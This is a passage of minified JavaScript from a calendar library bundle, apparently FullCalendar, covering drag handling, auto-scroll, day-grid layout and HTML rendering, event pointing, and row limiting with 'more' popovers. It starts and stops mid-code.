e=a.default.get();this.isGeneric?this.listenTo(r(document),{drag:this.handleMove,dragstop:this.endInteraction}):this.isTouch?this.listenTo(e,{touchmove:this.handleTouchMove,touchend:this.endInteraction,scroll:this.handleTouchScroll}):this.listenTo(e,{mousemove:this.handleMouseMove,mouseup:this.endInteraction}),this.listenTo(e,{selectstart:i.preventDefault,contextmenu:i.preventDefault})},e.prototype.unbindHandlers=function(){this.stopListeningTo(a.default.get()),this.stopListeningTo(r(document))},e.prototype.startDrag=function(e,t){this.startInteraction(e,t),this.isDragging||(this.isDragging=!0,this.handleDragStart(e))},e.prototype.handleDragStart=function(e){this.trigger("dragStart",e)},e.prototype.handleMove=function(e){var t=i.getEvX(e)-this.originX,n=i.getEvY(e)-this.originY,r=this.minDistance;this.isDistanceSurpassed||t*t+n*n>=r*r&&this.handleDistanceSurpassed(e),this.isDragging&&this.handleDrag(t,n,e)},e.prototype.handleDrag=function(e,t,n){this.trigger("drag",e,t,n),this.updateAutoScroll(n)},e.prototype.endDrag=function(e){this.isDragging&&(this.isDragging=!1,this.handleDragEnd(e))},e.prototype.handleDragEnd=function(e){this.trigger("dragEnd",e)},e.prototype.startDelay=function(e){var t=this;this.delay?this.delayTimeoutId=setTimeout((function(){t.handleDelayEnd(e)}),this.delay):this.handleDelayEnd(e)},e.prototype.handleDelayEnd=function(e){this.isDelayEnded=!0,this.isDistanceSurpassed&&this.startDrag(e)},e.prototype.handleDistanceSurpassed=function(e){this.isDistanceSurpassed=!0,this.isDelayEnded&&this.startDrag(e)},e.prototype.handleTouchMove=function(e){this.isDragging&&this.shouldCancelTouchScroll&&e.preventDefault(),this.handleMove(e)},e.prototype.handleMouseMove=function(e){this.handleMove(e)},e.prototype.handleTouchScroll=function(e){this.isDragging&&!this.scrollAlwaysKills||this.endInteraction(e,!0)},e.prototype.trigger=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];this.options[e]&&this.options[e].apply(this,t),this["_"+e]&&this["_"+e].apply(this,t)},e.prototype.initAutoScroll=function(){var e=this.scrollEl;this.isAutoScroll=this.options.scroll&&e&&!e.is(window)&&!e.is(document),this.isAutoScroll&&this.listenTo(e,"scroll",i.debounce(this.handleDebouncedScroll,100))},e.prototype.destroyAutoScroll=function(){this.endAutoScroll(),this.isAutoScroll&&this.stopListeningTo(this.scrollEl,"scroll")},e.prototype.computeScrollBounds=function(){this.isAutoScroll&&(this.scrollBounds=i.getOuterRect(this.scrollEl))},e.prototype.updateAutoScroll=function(e){var t,n,r,s,a=this.scrollSensitivity,o=this.scrollBounds,d=0,u=0;o&&(t=(a-(i.getEvY(e)-o.top))/a,n=(a-(o.bottom-i.getEvY(e)))/a,r=(a-(i.getEvX(e)-o.left))/a,s=(a-(o.right-i.getEvX(e)))/a,t>=0&&t<=1?d=t*this.scrollSpeed*-1:n>=0&&n<=1&&(d=n*this.scrollSpeed),r>=0&&r<=1?u=r*this.scrollSpeed*-1:s>=0&&s<=1&&(u=s*this.scrollSpeed)),this.setScrollVel(d,u)},e.prototype.setScrollVel=function(e,t){this.scrollTopVel=e,this.scrollLeftVel=t,this.constrainScrollVel(),!this.scrollTopVel&&!this.scrollLeftVel||this.scrollIntervalId||(this.scrollIntervalId=setInterval(i.proxy(this,"scrollIntervalFunc"),this.scrollIntervalMs))},e.prototype.constrainScrollVel=function(){var e=this.scrollEl;this.scrollTopVel<0?e.scrollTop()<=0&&(this.scrollTopVel=0):this.scrollTopVel>0&&e.scrollTop()+e[0].clientHeight>=e[0].scrollHeight&&(this.scrollTopVel=0),this.scrollLeftVel<0?e.scrollLeft()<=0&&(this.scrollLeftVel=0):this.scrollLeftVel>0&&e.scrollLeft()+e[0].clientWidth>=e[0].scrollWidth&&(this.scrollLeftVel=0)},e.prototype.scrollIntervalFunc=function(){var e=this.scrollEl,t=this.scrollIntervalMs/1e3;this.scrollTopVel&&e.scrollTop(e.scrollTop()+this.scrollTopVel*t),this.scrollLeftVel&&e.scrollLeft(e.scrollLeft()+this.scrollLeftVel*t),this.constrainScrollVel(),this.scrollTopVel||this.scrollLeftVel||this.endAutoScroll()},e.prototype.endAutoScroll=function(){this.scrollIntervalId&&(clearInterval(this.scrollIntervalId),this.scrollIntervalId=null,this.handleScrollEnd())},e.prototype.handleDebouncedScroll=function(){this.scrollIntervalId||this.handleScrollEnd()},e.prototype.handleScrollEnd=function(){},e}();t.default=o,s.default.mixInto(o)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(4),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.updateDayTable=function(){for(var e,t,n,r=this,i=r.view,s=i.calendar,a=s.msToUtcMoment(r.dateProfile.renderUnzonedRange.startMs,!0),o=s.msToUtcMoment(r.dateProfile.renderUnzonedRange.endMs,!0),d=-1,u=[],l=[];a.isBefore(o);)i.isHiddenDay(a)?u.push(d+.5):(d++,u.push(d),l.push(a.clone())),a.add(1,"days");if(this.breakOnWeeks){for(t=l[0].day(),e=1;e<l.length&&l[e].day()!==t;e++);n=Math.ceil(l.length/e)}else n=1,e=l.length;this.dayDates=l,this.dayIndices=u,this.daysPerRow=e,this.rowCnt=n,this.updateDayTableCols()},t.prototype.updateDayTableCols=function(){this.colCnt=this.computeColCnt(),this.colHeadFormat=this.opt("columnHeaderFormat")||this.opt("columnFormat")||this.computeColHeadFormat()},t.prototype.computeColCnt=function(){return this.daysPerRow},t.prototype.getCellDate=function(e,t){return this.dayDates[this.getCellDayIndex(e,t)].clone()},t.prototype.getCellRange=function(e,t){var n=this.getCellDate(e,t),r=n.clone().add(1,"days");return{start:n,end:r}},t.prototype.getCellDayIndex=function(e,t){return e*this.daysPerRow+this.getColDayIndex(t)},t.prototype.getColDayIndex=function(e){return this.isRTL?this.colCnt-1-e:e},t.prototype.getDateDayIndex=function(e){var t=this.dayIndices,n=e.diff(this.dayDates[0],"days");return n<0?t[0]-1:n>=t.length?t[t.length-1]+1:t[n]},t.prototype.computeColHeadFormat=function(){return this.rowCnt>1||this.colCnt>10?"ddd":this.colCnt>1?this.opt("dayOfMonthFormat"):"dddd"},t.prototype.sliceRangeByRow=function(e){var t,n,r,i,s,a=this.daysPerRow,o=this.view.computeDayRange(e),d=this.getDateDayIndex(o.start),u=this.getDateDayIndex(o.end.clone().subtract(1,"days")),l=[];for(t=0;t<this.rowCnt;t++)r=(n=t*a)+a-1,i=Math.max(d,n),s=Math.min(u,r),(i=Math.ceil(i))<=(s=Math.floor(s))&&l.push({row:t,firstRowDayIndex:i-n,lastRowDayIndex:s-n,isStart:i===d,isEnd:s===u});return l},t.prototype.sliceRangeByDay=function(e){var t,n,r,i,s,a,o=this.daysPerRow,d=this.view.computeDayRange(e),u=this.getDateDayIndex(d.start),l=this.getDateDayIndex(d.end.clone().subtract(1,"days")),c=[];for(t=0;t<this.rowCnt;t++)for(r=(n=t*o)+o-1,i=n;i<=r;i++)s=Math.max(u,i),a=Math.min(l,i),(s=Math.ceil(s))<=(a=Math.floor(a))&&c.push({row:t,firstRowDayIndex:s-n,lastRowDayIndex:a-n,isStart:s===u,isEnd:a===l});return c},t.prototype.renderHeadHtml=function(){var e=this.view.calendar.theme;return'<div class="fc-row '+e.getClass("headerRow")+'"><table class="'+e.getClass("tableGrid")+'"><thead>'+this.renderHeadTrHtml()+"</thead></table></div>"},t.prototype.renderHeadIntroHtml=function(){return this.renderIntroHtml()},t.prototype.renderHeadTrHtml=function(){return"<tr>"+(this.isRTL?"":this.renderHeadIntroHtml())+this.renderHeadDateCellsHtml()+(this.isRTL?this.renderHeadIntroHtml():"")+"</tr>"},t.prototype.renderHeadDateCellsHtml=function(){var e,t,n=[];for(e=0;e<this.colCnt;e++)t=this.getCellDate(0,e),n.push(this.renderHeadDateCellHtml(t));return n.join("")},t.prototype.renderHeadDateCellHtml=function(e,t,n){var r,s=this,a=s.view,o=s.dateProfile.activeUnzonedRange.containsDate(e),d=["fc-day-header",a.calendar.theme.getClass("widgetHeader")];return r="function"==typeof s.opt("columnHeaderHtml")?s.opt("columnHeaderHtml")(e):"function"==typeof s.opt("columnHeaderText")?i.htmlEscape(s.opt("columnHeaderText")(e)):i.htmlEscape(e.format(s.colHeadFormat)),1===s.rowCnt?d=d.concat(s.getDayClasses(e,!0)):d.push("fc-"+i.dayIDs[e.day()]),'<th class="'+d.join(" ")+'"'+(1===(o&&s.rowCnt)?' data-date="'+e.format("YYYY-MM-DD")+'"':"")+(t>1?' colspan="'+t+'"':"")+(n?" "+n:"")+">"+(o?a.buildGotoAnchorHtml({date:e,forceOff:s.rowCnt>1||1===s.colCnt},r):r)+"</th>"},t.prototype.renderBgTrHtml=function(e){return"<tr>"+(this.isRTL?"":this.renderBgIntroHtml(e))+this.renderBgCellsHtml(e)+(this.isRTL?this.renderBgIntroHtml(e):"")+"</tr>"},t.prototype.renderBgIntroHtml=function(e){return this.renderIntroHtml()},t.prototype.renderBgCellsHtml=function(e){var t,n,r=[];for(t=0;t<this.colCnt;t++)n=this.getCellDate(e,t),r.push(this.renderBgCellHtml(n));return r.join("")},t.prototype.renderBgCellHtml=function(e,t){var n=this,r=n.view,i=n.dateProfile.activeUnzonedRange.containsDate(e),s=n.getDayClasses(e);return s.unshift("fc-day",r.calendar.theme.getClass("widgetContent")),'<td class="'+s.join(" ")+'"'+(i?' data-date="'+e.format("YYYY-MM-DD")+'"':"")+(t?" "+t:"")+"></td>"},t.prototype.renderIntroHtml=function(){},t.prototype.bookendCells=function(e){var t=this.renderIntroHtml();t&&(this.isRTL?e.append(t):e.prepend(t))},t}(n(15).default);t.default=s},function(e,t){Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){this.component=e,this.fillRenderer=t}return e.prototype.render=function(e){var t=this.component,n=t._getDateProfile().activeUnzonedRange,r=e.buildEventInstanceGroup(t.hasAllDayBusinessHours,n),i=r?t.eventRangesToEventFootprints(r.sliceRenderRanges(n)):[];this.renderEventFootprints(i)},e.prototype.renderEventFootprints=function(e){var t=this.component.eventFootprintsToSegs(e);this.renderSegs(t),this.segs=t},e.prototype.renderSegs=function(e){this.fillRenderer&&this.fillRenderer.renderSegs("businessHours",e,{getClasses:function(e){return["fc-nonbusiness","fc-bgevent"]}})},e.prototype.unrender=function(){this.fillRenderer&&this.fillRenderer.unrender("businessHours"),this.segs=null},e.prototype.getSegs=function(){return this.segs||[]},e}();t.default=n},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(3),i=n(4),s=function(){function e(e){this.fillSegTag="div",this.component=e,this.elsByFill={}}return e.prototype.renderFootprint=function(e,t,n){this.renderSegs(e,this.component.componentFootprintToSegs(t),n)},e.prototype.renderSegs=function(e,t,n){var r;return t=this.buildSegEls(e,t,n),(r=this.attachSegEls(e,t))&&this.reportEls(e,r),t},e.prototype.unrender=function(e){var t=this.elsByFill[e];t&&(t.remove(),delete this.elsByFill[e])},e.prototype.buildSegEls=function(e,t,n){var i,s=this,a="",o=[];if(t.length){for(i=0;i<t.length;i++)a+=this.buildSegHtml(e,t[i],n);r(a).each((function(e,i){var a=t[e],d=r(i);n.filterEl&&(d=n.filterEl(a,d)),d&&(d=r(d)).is(s.fillSegTag)&&(a.el=d,o.push(a))}))}return o},e.prototype.buildSegHtml=function(e,t,n){var r=n.getClasses?n.getClasses(t):[],s=i.cssToStr(n.getCss?n.getCss(t):{});return"<"+this.fillSegTag+(r.length?' class="'+r.join(" ")+'"':"")+(s?' style="'+s+'"':"")+"></"+this.fillSegTag+">"},e.prototype.attachSegEls=function(e,t){},e.prototype.reportEls=function(e,t){this.elsByFill[e]?this.elsByFill[e]=this.elsByFill[e].add(t):this.elsByFill[e]=r(t)},e}();t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(9),i=n(34),s=n(6),a=function(){function e(e,t){this.view=e._getView(),this.component=e,this.eventRenderer=t}return e.prototype.renderComponentFootprint=function(e){this.renderEventFootprints([this.fabricateEventFootprint(e)])},e.prototype.renderEventDraggingFootprints=function(e,t,n){this.renderEventFootprints(e,t,"fc-dragging",n?null:this.view.opt("dragOpacity"))},e.prototype.renderEventResizingFootprints=function(e,t,n){this.renderEventFootprints(e,t,"fc-resizing")},e.prototype.renderEventFootprints=function(e,t,n,r){var i,s=this.component.eventFootprintsToSegs(e),a="fc-helper "+(n||"");for(s=this.eventRenderer.renderFgSegEls(s),i=0;i<s.length;i++)s[i].el.addClass(a);if(null!=r)for(i=0;i<s.length;i++)s[i].el.css("opacity",r);this.helperEls=this.renderSegs(s,t)},e.prototype.renderSegs=function(e,t){},e.prototype.unrender=function(){this.helperEls&&(this.helperEls.remove(),this.helperEls=null)},e.prototype.fabricateEventFootprint=function(e){var t,n=this.view.calendar,a=n.footprintToDateProfile(e),o=new r.default(new s.default(n));return o.dateProfile=a,t=o.buildInstance(),new i.default(e,o,t)},e}();t.default=a},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(23),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.bindToEl=function(e){var t=this.component;t.bindSegHandlerToEl(e,"click",this.handleClick.bind(this)),t.bindSegHandlerToEl(e,"mouseenter",this.handleMouseover.bind(this)),t.bindSegHandlerToEl(e,"mouseleave",this.handleMouseout.bind(this))},t.prototype.handleClick=function(e,t){!1===this.component.publiclyTrigger("eventClick",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,this.view]})&&t.preventDefault()},t.prototype.handleMouseover=function(e,t){i.default.get().shouldIgnoreMouse()||this.mousedOverSeg||(this.mousedOverSeg=e,this.view.isEventDefResizable(e.footprint.eventDef)&&e.el.addClass("fc-allow-mouse-resize"),this.component.publiclyTrigger("eventMouseover",{context:e.el[0],args:[e.footprint.getEventLegacy(),t,this.view]}))},t.prototype.handleMouseout=function(e,t){this.mousedOverSeg&&(this.mousedOverSeg=null,this.view.isEventDefResizable(e.footprint.eventDef)&&e.el.removeClass("fc-allow-mouse-resize"),this.component.publiclyTrigger("eventMouseout",{context:e.el[0],args:[e.footprint.getEventLegacy(),t||{},this.view]}))},t.prototype.end=function(){this.mousedOverSeg&&this.handleMouseout(this.mousedOverSeg)},t}(n(14).default);t.default=s},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(15),s=n(237),a=n(236),o=n(64),d=n(235),u=n(234),l=n(233),c=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t}(i.default);t.default=c,c.prototype.dateClickingClass=s.default,c.prototype.dateSelectingClass=a.default,c.prototype.eventPointingClass=o.default,c.prototype.eventDraggingClass=d.default,c.prototype.eventResizingClass=u.default,c.prototype.externalDroppingClass=l.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(58),o=n(227),d=n(5),u=n(12),l=n(34),c=n(61),h=n(65),m=n(42),p=n(60),f=n(243),_=n(244),y=n(245),g=function(e){function t(t){var n=e.call(this,t)||this;return n.cellWeekNumbersVisible=!1,n.bottomCoordPadding=0,n.isRigid=!1,n.hasAllDayBusinessHours=!0,n}return r.__extends(t,e),t.prototype.componentFootprintToSegs=function(e){var t,n,r=this.sliceRangeByRow(e.unzonedRange);for(t=0;t<r.length;t++)n=r[t],this.isRTL?(n.leftCol=this.daysPerRow-1-n.lastRowDayIndex,n.rightCol=this.daysPerRow-1-n.firstRowDayIndex):(n.leftCol=n.firstRowDayIndex,n.rightCol=n.lastRowDayIndex);return r},t.prototype.renderDates=function(e){this.dateProfile=e,this.updateDayTable(),this.renderGrid()},t.prototype.unrenderDates=function(){this.removeSegPopover()},t.prototype.renderGrid=function(){var e,t,n=this.view,r=this.rowCnt,i=this.colCnt,s="";for(this.headContainerEl&&this.headContainerEl.html(this.renderHeadHtml()),e=0;e<r;e++)s+=this.renderDayRowHtml(e,this.isRigid);for(this.el.html(s),this.rowEls=this.el.find(".fc-row"),this.cellEls=this.el.find(".fc-day, .fc-disabled-day"),this.rowCoordCache=new a.default({els:this.rowEls,isVertical:!0}),this.colCoordCache=new a.default({els:this.cellEls.slice(0,this.colCnt),isHorizontal:!0}),e=0;e<r;e++)for(t=0;t<i;t++)this.publiclyTrigger("dayRender",{context:n,args:[this.getCellDate(e,t),this.getCellEl(e,t),n]})},t.prototype.renderDayRowHtml=function(e,t){var n=this.view.calendar.theme,r=["fc-row","fc-week",n.getClass("dayRow")];return t&&r.push("fc-rigid"),'<div class="'+r.join(" ")+'"><div class="fc-bg"><table class="'+n.getClass("tableGrid")+'">'+this.renderBgTrHtml(e)+'</table></div><div class="fc-content-skeleton"><table>'+(this.getIsNumbersVisible()?"<thead>"+this.renderNumberTrHtml(e)+"</thead>":"")+"</table></div></div>"},t.prototype.getIsNumbersVisible=function(){return this.getIsDayNumbersVisible()||this.cellWeekNumbersVisible},t.prototype.getIsDayNumbersVisible=function(){return this.rowCnt>1},t.prototype.renderNumberTrHtml=function(e){return"<tr>"+(this.isRTL?"":this.renderNumberIntroHtml(e))+this.renderNumberCellsHtml(e)+(this.isRTL?this.renderNumberIntroHtml(e):"")+"</tr>"},t.prototype.renderNumberIntroHtml=function(e){return this.renderIntroHtml()},t.prototype.renderNumberCellsHtml=function(e){var t,n,r=[];for(t=0;t<this.colCnt;t++)n=this.getCellDate(e,t),r.push(this.renderNumberCellHtml(n));return r.join("")},t.prototype.renderNumberCellHtml=function(e){var t,n,r=this.view,i="",s=this.dateProfile.activeUnzonedRange.containsDate(e),a=this.getIsDayNumbersVisible()&&s;return a||this.cellWeekNumbersVisible?((t=this.getDayClasses(e)).unshift("fc-day-top"),this.cellWeekNumbersVisible&&(n="ISO"===e._locale._fullCalendar_weekCalc?1:e._locale.firstDayOfWeek()),i+='<td class="'+t.join(" ")+'"'+(s?' data-date="'+e.format()+'"':"")+">",this.cellWeekNumbersVisible&&e.day()===n&&(i+=r.buildGotoAnchorHtml({date:e,type:"week"},{class:"fc-week-number"},e.format("w"))),a&&(i+=r.buildGotoAnchorHtml(e,{class:"fc-day-number"},e.format("D"))),i+="</td>"):"<td></td>"},t.prototype.prepareHits=function(){this.colCoordCache.build(),this.rowCoordCache.build(),this.rowCoordCache.bottoms[this.rowCnt-1]+=this.bottomCoordPadding},t.prototype.releaseHits=function(){this.colCoordCache.clear(),this.rowCoordCache.clear()},t.prototype.queryHit=function(e,t){if(this.colCoordCache.isLeftInBounds(e)&&this.rowCoordCache.isTopInBounds(t)){var n=this.colCoordCache.getHorizontalIndex(e),r=this.rowCoordCache.getVerticalIndex(t);if(null!=r&&null!=n)return this.getCellHit(r,n)}},t.prototype.getHitFootprint=function(e){var t=this.getCellRange(e.row,e.col);return new u.default(new d.default(t.start,t.end),!0)},t.prototype.getHitEl=function(e){return this.getCellEl(e.row,e.col)},t.prototype.getCellHit=function(e,t){return{row:e,col:t,component:this,left:this.colCoordCache.getLeftOffset(t),right:this.colCoordCache.getRightOffset(t),top:this.rowCoordCache.getTopOffset(e),bottom:this.rowCoordCache.getBottomOffset(e)}},t.prototype.getCellEl=function(e,t){return this.cellEls.eq(e*this.colCnt+t)},t.prototype.executeEventUnrender=function(){this.removeSegPopover(),e.prototype.executeEventUnrender.call(this)},t.prototype.getOwnEventSegs=function(){return e.prototype.getOwnEventSegs.call(this).concat(this.popoverSegs||[])},t.prototype.renderDrag=function(e,t,n){var r;for(r=0;r<e.length;r++)this.renderHighlight(e[r].componentFootprint);if(e.length&&t&&t.component!==this)return this.helperRenderer.renderEventDraggingFootprints(e,t,n),!0},t.prototype.unrenderDrag=function(){this.unrenderHighlight(),this.helperRenderer.unrender()},t.prototype.renderEventResize=function(e,t,n){var r;for(r=0;r<e.length;r++)this.renderHighlight(e[r].componentFootprint);this.helperRenderer.renderEventResizingFootprints(e,t,n)},t.prototype.unrenderEventResize=function(){this.unrenderHighlight(),this.helperRenderer.unrender()},t.prototype.removeSegPopover=function(){this.segPopover&&this.segPopover.hide()},t.prototype.limitRows=function(e){var t,n,r=this.eventRenderer.rowStructs||[];for(t=0;t<r.length;t++)this.unlimitRow(t),!1!==(n=!!e&&("number"==typeof e?e:this.computeRowLevelLimit(t)))&&this.limitRow(t,n)},t.prototype.computeRowLevelLimit=function(e){var t,n,r,s=this.rowEls.eq(e).height(),a=this.eventRenderer.rowStructs[e].tbodyEl.children();function o(e,t){r=Math.max(r,i(t).outerHeight())}for(t=0;t<a.length;t++)if(n=a.eq(t).removeClass("fc-limited"),r=0,n.find("> td > :first-child").each(o),n.position().top+r>s)return t;return!1},t.prototype.limitRow=function(e,t){var n,r,s,a,o,d,u,l,c,h,m,p,f,_,y,g=this,v=this.eventRenderer.rowStructs[e],M=[],L=0,D=function(n){for(;L<n;)(d=g.getCellSegs(e,L,t)).length&&(c=r[t-1][L],y=g.renderMoreLink(e,L,d),_=i("<div>").append(y),c.append(_),M.push(_[0])),L++};if(t&&t<v.segLevels.length){for(n=v.segLevels[t-1],r=v.cellMatrix,s=v.tbodyEl.children().slice(t).addClass("fc-limited").get(),a=0;a<n.length;a++){for(D((o=n[a]).leftCol),l=[],u=0;L<=o.rightCol;)d=this.getCellSegs(e,L,t),l.push(d),u+=d.length,L++;if(u){for(h=(c=r[t-1][o.leftCol]).attr("rowspan")||1,m=[],p=0;p<l.length;p++)f=i('<td class="fc-more-cell">').attr("rowspan",h),d=l[p],y=this.renderMoreLink(e,o.leftCol+p,[o].concat(d)),_=i("<div>").append(y),f.append(_),m.push(f[0]),M.push(f[0]);c.addClass("fc-limited").after(i(m)),s.push(c[0])}}D(this.colCnt),v.moreEls=i(M),v.limitedEls=i(s)}},t.prototype.unlimitRow=function(e){var t=this.eventRenderer.rowStructs[e];t.moreEls&&(t.moreEls.remove(),t.moreEls=null),t.limitedEls&&(t.limitedEls.removeClass("fc-limited"),t.limitedEls=null)},t.prototype.renderMoreLink=function(e,t,n){var r=this,s=this.view;return i('<a class="fc-more">').text(this.getMoreLinkText(n.length)).on("click",(function(a){var o=r.opt("eventLimitClick"),d=r.getCellDate(e,t),u=i(a.currentTarget),l=r.getCellEl(e,t),c=r.getCellSegs(e,t),h=r.resliceDaySegs(c,d),m=r.resliceDaySegs(n,d);"function"==typeof o&&(o=r.publiclyTrigger("eventLimitClick",{context:s,args:[{date:d.clone(),dayEl:l,moreEl:u,segs:h,hiddenSegs:m},a,s]})),"popover"===o?r.showSegPopover(e,t,u,h):"string"==typeof o&&s.calendar.zoomTo(d,o)}))},t.prototype.showSegPopover=function(e,t,n,r){var i,s,a=this,d=this.view,u=n.parent();i=1===this.rowCnt?d.el:this.rowEls.eq(e),s={className:"fc-more-popover "+d.calendar.theme.getClass("popover"),content:this.renderSegPopoverContent(e,t,r),parentEl:d.el,top:i.offset().top,autoHide:!0,viewportConstrain:this.opt("popoverViewportConstrain"),hide:function(){a.popoverSegs&&a.triggerBeforeEventSegsDestroyed(a.popoverSegs),a.segPopover.removeElement(),a.segPopover=null,a.popoverSegs=null}},this.isRTL?s.right=u.offset().left+u.outerWidth()+1:s.left=u.offset().left-1,this.segPopover=new o.default(s),this.segPopover.show(),this.bindAllSegHandlersToEl(this.segPopover.el),this.triggerAfterEventSegsRendered(r)},t.prototype.renderSegPopoverContent=function(e,t,n){var r,a=this.view.calendar.theme,o=this.getCellDate(e,t).format(this.opt("dayPopoverFormat")),d=i('<div class="fc-header '+a.getClass("popoverHeader")+'"><span class="fc-close '+a.getIconClass("close")+'"></span><span class="fc-title">'+s.htmlEscape(o)+'</span><div class="fc-clear"></div></div><div class="fc-body '+a.getClass("popoverContent")+'"><div class="fc-event-container"></div></div>'),u=d.find(".fc-event-container");for(n=this.eventRenderer.renderFgSegEls(n,!0),this.popoverSegs=n,r=0;r<n.length;r++)this.hitsNeeded(),n[r].hit=this.getCellHit(e,t),this.hitsNotNeeded(),u.append(n[r].el);return d},t.prototype.resliceDaySegs=function(e,t){var n,r,s,a=t.clone(),o=a.clone().add(1,"days"),c=new d.default(a,o),h=[];for(n=0;n<e.length;n++)(s=(r=e[n]).footprint.componentFootprint.unzonedRange.intersect(c))&&h.push(i.extend({},r,{footprint:new l.default(new u.default(s,r.footprint.componentFootprint.isAllDay),r.footprint.eventDef,r.footprint.eventInstance),isStart:r.isStart&&s.isStart,isEnd:r.isEnd&&s.isEnd}));return this.eventRenderer.sortEventSegs(h),h},t.prototype.getMoreLinkText=function(e){var t=this.opt("eventLimitText");return"function"==typeof t?t(e):"+"+e+" "+t},t.prototype.getCellSegs=function(e,t,n){for(var r,i=this.eventRenderer.rowStructs[e].segMatrix,s=n||0,a=[];s<i.length;)(r=i[s][t])&&a.push(r),s++;return a},t}(m.default);t.default=g,g.prototype.eventRendererClass=f.default,g.prototype.businessHourRendererClass=c.default,g.prototype.helperRendererClass=_.default,g.prototype.fillRendererClass=y.default,h.default.mixInto(g),p.default.mixInto(g)},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(3),s=n(4),a=n(41),o=n(43),d=n(68),u=n(66),l=function(e){function t(t,n){var r=e.call(this,t,n)||this;return r.dayGrid=r.instantiateDayGrid(),r.dayGrid.isRigid=r.hasRigidRows(),r.opt("weekNumbers")&&(r.opt("weekNumbersWithinDays")?(r.dayGrid.cellWeekNumbersVisible=!0,r.dayGrid.colWeekNumbersVisible=!1):(r.dayGrid.cellWeekNumbersVisible=!1,r.dayGrid.colWeekNumbersVisible=!0)),r.addChild(r.dayGrid),r.scroller=new a.default({overflowX:"hidden",overflowY:"auto"}),r}return r.__extends(t,e),t.prototype.instantiateDayGrid=function(){return new(function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.colWeekNumbersVisible=!1,t}return r.__extends(t,e),t.prototype.renderHeadIntroHtml=function(){var e=this.view;return this.colWeekNumbersVisible?'<th class="fc-week-number '+e.calendar.theme.getClass("widgetHeader")+'" '+e.weekNumberStyleAttr()+"><span>"+s.htmlEscape(this.opt("weekNumberTitle"))+"</span></th>":""},t.prototype.renderNumberIntroHtml=function(e){var t=this.view,n=this.getCellDate(e,0);return this.colWeekNumbersVisible?'<td class="fc-week-number" '+t.weekNumberStyleAttr()+">"+t.buildGotoAnchorHtml({date:n,type:"week",forceOff:1===this.colCnt},n.format("w"))+"</td>":""},t.prototype.renderBgIntroHtml=function(){var e=this.view;return this.colWeekNumbersVisible?'<td class="fc-week-number '+e.calendar.theme.getClass("widgetContent")+'" '+e.weekNumberStyleAttr()+"></td>":""},t.prototype.renderIntroHtml=function(){var e=this.view;return this.colWeekNumbersVisible?'<td class="fc-week-number" '+e.weekNumberStyleAttr()+"></td>":""},t.prototype.getIsNumbersVisible=function(){return u.default.prototype.getIsNumbersVisible.apply(this,arguments)||this.colWeekNumbersVisible},t}(this.dayGridClass))(this)},t.prototype.executeDateRender=function(t){this.dayGrid.breakOnWeeks=/year|month|week/.test(t.currentRangeUnit),e.prototype.executeDateRender.call(this,t)},t.prototype.renderSkeleton=function(){var e,t;this.el.addClass("fc-basic-view").html(this.renderSkeletonHtml()),this.scroller.render(),e=this.scroller.el.addClass("fc-day-grid-container"),t=i('<div class="fc-day-grid">').appendTo(e),this.el.find(".fc-body > tr > td").append(e),this.dayGrid.headContainerEl=this.el.find(".fc-head-container"),this.dayGrid.setElement(t)},t.prototype.unrenderSkeleton=function(){this.dayGrid.removeElement(),this.scroller.destroy()},t.prototype.renderSkeletonHtml=function(){var e=this.calendar.theme;return'<table class="'+e.getClass("tableGrid")+'">'+(this.opt("columnHeader")?'<thead class="fc-head"><tr><td class="fc-head-container '+e.getClass("widgetHeader")+'">&nbsp;</td></tr></thead>':"")+'<tbody class="fc-body"><tr><td class="'+e.getClass("widgetContent")+'"></td></tr></tbody></table>'},t.prototype.weekNumberStyleAttr=function(){return null!=this.weekNumberWidth?'style="width:'+this.weekNumberWidth+'px"':""},t.prototype.hasRigidRows=function(){var e=this.opt("eventLimit");return e&&"number"!=typeof e},t.prototype.updateSize=function(t,n,r){var i,a,o=this.opt("eventLimit"),d=this.dayGrid.headContainerEl.find(".fc-row");this.dayGrid.rowEls?(e.prototype.updateSize.call(this,t,n,r),this.dayGrid.colWeekNumbersVisible&&(this.weekNumberWidth=s.matchCellWidths(this.el.find(".fc-week-number"))),this.scroller.clear(),s.uncompensateScroll(d),this.dayGrid.removeSegPopover(),o&&"number"==typeof o&&this.dayGrid.limitRows(o),i=this.computeScrollerHeight(t),this.setGridHeight(i,n),o&&"number"!=typeof o&&this.dayGrid.limitRows(o),n||(this.scroller.setHeight(i),((a=this.scroller.getScrollbarWidths()).left||a.right)&&(s.compensateScroll(d,a),i=this.computeScrollerHeight(t),this.scroller.setHeight(i)),this.scroller.lockOverflow(a))):n||(i=this.computeScrollerHeight(t),this.scroller.setHeight(i))},t.prototype.computeScrollerHeight=function(e){return e-s.subtractInnerElHeight(this.el,this.scroller.el)},t.prototype.setGridHeight=function(e,t){t?s.undistributeHeight(this.dayGrid.rowEls):s.distributeHeight(this.dayGrid.rowEls,e,!0)},t.prototype.computeInitialDateScroll=function(){return{top:0}},t.prototype.queryDateScroll=function(){return{top:this.scroller.getScrollTop()}},t.prototype.applyDateScroll=function(e){void 0!==e.top&&this.scroller.setScrollTop(e.top)},t}(o.default);t.default=l,l.prototype.dateProfileGeneratorClass=d.default,l.prototype.dayGridClass=u.default},function(e,t,n){Object.defineProperty(t,"__esModule",{value:!0});var r=n(2),i=n(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return r.__extends(t,e),t.prototype.buildRenderRange=function(t,n,r){var 